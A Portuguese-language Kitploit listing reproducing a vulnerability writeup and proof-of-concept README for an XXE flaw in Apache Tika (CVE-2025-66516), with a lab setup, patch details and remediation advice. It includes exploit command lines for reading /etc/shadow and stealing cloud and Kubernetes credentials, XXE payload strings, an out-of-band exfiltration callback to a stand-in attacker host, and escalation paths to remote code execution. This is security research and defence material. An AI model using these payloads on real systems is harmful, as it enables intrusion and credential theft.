Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-66516-Writeup-POC — CVE-2025-66516 working exploit, scanner, explanation. | Kitploit
Ferramentas/GitHubGitHub/chasingimpact/cve-2025-66516-writeup-poc
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPenetration TestingLearning & EducationLabs & Practice

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
chasingimpact/cve-2025-66516-writeup-poc

CVE-2025-66516-Writeup-POC

CVE-2025-66516 working exploit, scanner, explanation.

Ver Repositório
102há 7 mesesAinda não revisado

CVE-2025-66516: Vulnerabilidade Crítica de XXE no Apache Tika

imagem

Resumo Executivo

CVE-2025-66516 é uma vulnerabilidade crítica de injeção de Entidades Externas XML (XXE) no Apache Tika com pontuação CVSS de 10,0 (severidade máxima). A vulnerabilidade permite que atacantes remotos leiam arquivos arbitrários, realizem falsificação de requisição do lado do servidor (SSRF) e exfiltrem dados sensíveis ao enviar um documento PDF especialmente criado contendo conteúdo XFA (Arquitetura de Formulários XML) malicioso.

AtributoValor
CVE IDCVE-2025-66516
Pontuação CVSS10,0 (Crítica)
Divulgação4 de dezembro de 2025
FornecedorApache Software Foundation
Produto AfetadoApache Tika
Vetor de AtaqueRede (Remoto)
AutenticaçãoNenhuma Necessária

Versões Afetadas

ComponenteVersões VulneráveisVersão Corrigida
tika-core1.13 - 3.2.13.2.2+
tika-parser-pdf-module2.0.0 - 3.2.13.2.2+
tika-parsers1.13 - 1.28.52.0.0+

Importante: Este CVE substitui o CVE-2025-54988, que identificou incorretamente apenas o módulo PDF como vulnerável. A vulnerabilidade real reside no tika-core.


Análise Técnica

A Vulnerabilidade

A vulnerabilidade é uma falha de injeção de Entidade Externa XML (XXE) na forma como o Apache Tika processa dados XFA (Arquitetura de Formulários XML) dentro de documentos PDF.

O Problema: O Tika depende de analisadores XML subjacentes do Java (especificamente um analisador StAX) para ler o conteúdo XML do XFA. Versões vulneráveis falharam em configurar corretamente o analisador para desabilitar a resolução de entidades externas. Quando o analisador encontra uma requisição de entidade externa (como SYSTEM "file:///etc/passwd"), ele resolve e retorna o conteúdo do arquivo.

Localização: O bug existe em XMLReaderUtils.getXMLInputFactory() no tika-core:

root@kitploit:~
public static XMLInputFactory getXMLInputFactory() {
    XMLInputFactory factory = XMLInputFactory.newFactory();
    tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
    tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
    factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER);  // <-- Ineficaz
    return factory;
}

O IGNORING_STAX_ENTITY_RESOLVER foi criado para bloquear XXE retornando um resultado vazio, mas retornava uma String em vez do InputStream esperado. O analisador StAX padrão do JDK ignorou silenciosamente esse tipo de retorno incorreto e voltou ao comportamento padrão, que resolve entidades externas.

A Correção (Tika 3.2.2)

A correção desabilita explicitamente o suporte a DTD e entidades externas no nível da fábrica:

root@kitploit:~
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

Além disso, o resolvedor foi alterado para retornar um tipo InputStream adequado.

A Proteção Acidental do Woodstox

No ecossistema Java, existem múltiplas bibliotecas de analisadores XML. As aplicações usam o analisador que estiver configurado ou o primeiro encontrado no classpath.

O que é Woodstox? Woodstox é um analisador XML StAX de alto desempenho e código aberto, comumente empacotado com aplicações Java.

Como ele fornece proteção: Por design (não por acidente), a implementação do Woodstox lida corretamente com o tipo de retorno do XMLResolver. Quando o Woodstox recebe o valor de retorno de string do IGNORING_STAX_ENTITY_RESOLVER, ele o trata como conteúdo vazio válido, bloqueando efetivamente o XXE.

Distinção crucial:

  • tika-server-standard.jar empacota o Woodstox - NÃO VULNERÁVEL
  • tika-core + módulos de analisador (uso embarcado) NÃO empacota o Woodstox - VULNERÁVEL
  • Aplicações usando o analisador StAX padrão do JDK - VULNERÁVEL

Início Rápido

Testar a Vulnerabilidade

root@kitploit:~
# 1. Iniciar o ambiente de laboratório
docker-compose up -d --build

# 2. Testar contra o Tika vulnerável (JDK StAX, porta 9997)
python poc/exploit.py --url http://localhost:9997 --check

# 3. Extrair /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd

# 4. Comparar com o Tika protegido (Woodstox, porta 9998)
python poc/exploit.py --url http://localhost:9998 --check

Ambiente de Laboratório

Estrutura de Diretórios

root@kitploit:~
CVE-2025-66516/
|-- docker-compose.yml              # Orquestração do laboratório
|-- vulnerable-tika/
|   |-- Dockerfile                  # Tika com Woodstox (protegido)
|   +-- Dockerfile.jdk-stax         # Tika sem Woodstox (VULNERÁVEL)
|-- webapp/
|   |-- Dockerfile
|   |-- app.py                      # Aplicação de upload Flask
|   +-- templates/
|-- poc/
|   |-- exploit.py                  # Ferramenta de exploração automatizada
|   +-- generate_payload.py         # Gerador de PDF malicioso
+-- README.md

Serviços

Iniciar o Laboratório

root@kitploit:~
docker-compose up -d --build

Ferramentas de Prova de Conceito

1. Ferramenta de Exploração Automatizada (exploit.py)

Exploração de cadeia completa com geração automática de payload e extração de dados.

root@kitploit:~
# Verificar se o alvo é vulnerável
python poc/exploit.py --url http://target:9998 --check

# Ler arquivos locais
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow

# Roubo de metadados AWS (instâncias EC2)
python poc/exploit.py --url http://target:9998 --aws-metadata

# Segredos do Kubernetes
python poc/exploit.py --url http://target:9998 --k8s-secrets

# SSRF para serviços internos
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin

# Salvar dados extraídos
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt

2. Gerador de Payload (generate_payload.py)

Gera arquivos PDF maliciosos para teste manual ou integração com outras ferramentas.

root@kitploit:~
# Gerar payload para arquivo específico
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf

# Gerar payload SSRF
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf

# Gerar payload de exfiltração OOB
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf

# Usar predefinições de modo de ataque
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/

# Listar modos de ataque disponíveis
python poc/generate_payload.py --list-modes

Modos de Ataque Disponíveis:

  • file_read - Ler arquivos locais (/etc/passwd, /etc/shadow, etc.)
  • ssh_keys - Roubar chaves privadas SSH
  • aws_metadata - Metadados AWS EC2 e credenciais IAM
  • gcp_metadata - Tokens de conta de serviço GCP
  • azure_metadata - Tokens de identidade gerenciada do Azure
  • k8s_secrets - Credenciais de conta de serviço do Kubernetes
  • webapp_configs - Configurações comuns de aplicações web
  • ssrf_internal - Explorar serviços internos

Resultados dos Testes

Configuração Vulnerável (JDK StAX - Sem Woodstox)

Teste contra Tika 2.9.2 sem Woodstox (simulando implantações embarcadas):

TesteResultado
Detecção de XFA[APROVADO] PDF reconhecido como tendo XFA
Análise de XFA[APROVADO] Conteúdo XFA extraído
Leitura de arquivo XXE[VULNERÁVEL] Conteúdo de /etc/passwd exfiltrado
SSRF XXE[VULNERÁVEL] Requisições externas enviadas

Prova de Exploração:

root@kitploit:~
<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Configuração Protegida (Woodstox StAX)

Teste contra Tika 2.9.2 com Woodstox (tika-server-standard.jar padrão):

TesteResultado
Detecção de XFA[APROVADO] PDF reconhecido como tendo XFA
Análise de XFA[APROVADO] Conteúdo XFA extraído
Leitura de arquivo XXE[BLOQUEADO] Entidades externas não resolvidas
SSRF XXE[BLOQUEADO] Nenhuma conexão de saída

Saída mostra entidade vazia:

root@kitploit:~
<li fieldName="data">data: </li>

Conclusão

A vulnerabilidade é real e crítica. A exploração depende da implementação StAX:

  • [PROTEGIDO] tika-server-standard.jar - Woodstox empacotado bloqueia XXE
  • [VULNERÁVEL] Tika embarcado (tika-core + parsers) - Usa JDK StAX por padrão
  • [VULNERÁVEL] Implantações personalizadas sem Woodstox
  • [VULNERÁVEL] Integrações empresariais (Elasticsearch, Solr, Alfresco) - Frequentemente usam Tika embarcado

Capacidades de Ataque XXE

XXE é fundamentalmente uma vulnerabilidade de leitura de arquivo/SSRF, não execução remota de código direta. No entanto, permite vários caminhos de ataque:

Ataques Diretos

AtaqueExemplo de Payload
Leitura de arquivoSYSTEM "file:///etc/passwd"
SSRFSYSTEM "http://internal:8080/admin"
Metadados AWSSYSTEM "http://169.254.169.254/latest/meta-data/"

Escalação para RCE

CenárioCaminho de Ataque
AWS EC2XXE -> SSRF para metadados -> Credenciais IAM -> RCE via AWS CLI

Remediação

Ações Imediatas

  1. Atualizar o Apache Tika para a versão 3.2.2 ou superior

    root@kitploit:~
    <dependency>
        <groupId>org.apache.tika</groupId>
        <artifactId>tika-core</artifactId>
        <version>3.2.2</version>
    </dependency>
    
  2. Verificar se todos os componentes do Tika estão atualizados (módulos tika-core E parser)

Avaliação de Risco

Tipo de ImplantaçãoNível de Risco
tika-server-standard.jarBAIXO - Woodstox mitiga
Tika embarcado (uso como biblioteca)ALTO - Provavelmente vulnerável
Personalizado sem WoodstoxALTO - Vulnerável

Defesa em Profundidade

  1. Validação de Entrada - Validar tipos de arquivo enviados
  2. Segmentação de Rede - Isolar o processamento do Tika
  3. Menor Privilégio - Permissões mínimas no sistema de arquivos
  4. Monitoramento - Alertar sobre acesso incomum a arquivos

Jornada de Pesquisa

Problemas Encontrados

Problema 1: Exploit inicial não funcionou

  • XFA foi detectado mas XXE nunca foi acionado
  • Gastei tempo depurando a estrutura do payload

Problema 2: Erro de múltiplas declarações XML

  • Erro: WstxParsingException: Illegal processing instruction target ("xml")
  • Causa: Cada fluxo XFA incluía declarações XML
  • Correção: Incluir declaração apenas no preâmbulo, não nos subfluxos

Problema 3: O mistério do Woodstox

  • Todos os payloads falharam contra tika-server-standard.jar
  • Descobri que o Woodstox estava empacotado e bloqueando XXE
  • Criei Dockerfile.jdk-stax para testar sem Woodstox

Problema 4: Testando a configuração errada

  • Perdi tempo na configuração protegida
  • Lição: Entender a árvore completa de dependências antes de testar

Lições Aprendidas

  1. Pontuações CVSS precisam de contexto - Fatores ambientais afetam a exploração
  2. Testar configurações mínimas - Não assumir dependências empacotadas
  3. Analisadores XML variam muito - Mesmo código se comporta de forma diferente com diferentes analisadores
  4. Embarcado não é Servidor - O uso como biblioteca geralmente tem dependências diferentes
  5. Mensagens de erro são pistas - Exceções do analisador revelam detalhes de implementação

Referências

  • Aviso de Segurança Apache Tika
  • Commit da Correção
  • Entrada NVD
  • Discussão na Lista de E-mail do Apache Tika

Cronograma

DataEvento
Agosto de 2025CVE-2025-54988 divulgado (escopo incompleto)
4 de dezembro de 2025CVE-2025-66516 publicado (escopo completo identificado)
4 de dezembro de 2025Apache Tika 3.2.2 lançado com correção

Aviso Legal

Este ambiente de laboratório e código de prova de conceito são fornecidos apenas para testes de segurança autorizados, fins educacionais e pesquisa defensiva.

Não use estas ferramentas contra sistemas sem autorização explícita por escrito.

Licença

Este material de pesquisa é fornecido para fins educacionais. Use com responsabilidade.

Baixar ferramenta
ServiçoPortaDescrição
Aplicação Web8080Frontend de upload de documentos
Tika (Woodstox)9998Protegido - NÃO vulnerável
Tika (JDK StAX)9997VULNERÁVEL - Sem Woodstox
Ouvinte do Atacante9999Servidor HTTP para testes OOB
KubernetesXXE -> Ler token da conta de serviço -> kubectl exec
Jenkins InternoXXE -> SSRF para console de script -> RCE Groovy
Banco de DadosXXE -> Ler arquivos de configuração -> Acesso ao banco de dados
SSHXXE -> Ler chaves SSH -> Acesso remoto ao shell